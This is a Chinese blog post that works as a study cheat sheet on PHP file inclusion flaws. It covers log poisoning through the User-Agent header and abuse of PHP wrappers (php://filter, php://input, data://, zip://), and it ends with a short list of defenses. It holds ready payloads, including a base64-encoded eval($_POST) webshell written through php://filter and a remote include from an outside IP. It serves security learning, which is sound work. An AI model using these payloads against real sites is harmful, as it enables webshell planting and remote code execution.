文件包含小结

1.原理

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接动态调用此文件,但正是由于这种调用,导致客户端可以调用一个恶意文件,造成文件包含漏洞。

文件包含函数 include() require()等

2.漏洞点:

可以控制所访问资源的参数
形如?filename=upload.php
/getPic?path=/img/985233.png

3.本地包含

3.1配合文件上传

上传图片马并包含

3.2配合日志文件

日志会记录ua头,抓包修改ua头为后门代码,包含日志文件执行代码
linux日志 /var/log/*  

如:apache  /var/log/apache2/access.log或/var/log/httpd/access_log
?file=var/log/nginx/access.log

3.配合会话文件

将木马写在cookie字段,并包含

利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含 - NPFS - 博客园 (cnblogs.com)

4.配合伪协议

利用条件:allow_url_fopen和allow_url_include设置

4.1file://

用于访问本地文件系统
绝对路径:?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

4.2php://

php://filter用于读取文件
?file=php://filter/read=convert.base64-encode/resource=文件路径
?filename=php://filter/read=string.rot13/resource=1.php
?file=php://filter/write=convert.base64-encode/resource=1.php
content=PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+(post请求体提交)

php://input用于执行php代码。

http://127.0.0.1/include.php?file=php://input
<?php phpinfo(); ?>(以post请求体提交)

4.3data://

传递数据,常可以用来执行PHP代码
?file=data://text/plain,<?php%20phpinfo();?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

4.4zip://

访问压缩文件中的子文件
zip://[压缩包绝对路径]#[压缩包内文件]
?file=zip://D:\1.zip%23phpinfo.txt

4.5phar://

与zip://相似

4.6http:// & https:// 协议

?file=http://127.0.0.1/phpinfo.txt

PHP伪协议总结 - 个人文章 - SegmentFault 思否

4.远程包含

?file=http://47.94.236.117/1.txt ——命令代码写txt里

5.防御

1.文件包含参数写死
2.过滤用户输入,文件白名单

6.其他文件操作漏洞

文件读取:基本和文件下载利用类似
文件下载:利用下载获取数据库等配置文件及敏感文件
文件删除:有风险,不要随便删除

参考

文件包含漏洞全面详解-CSDN博客

  • 19
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值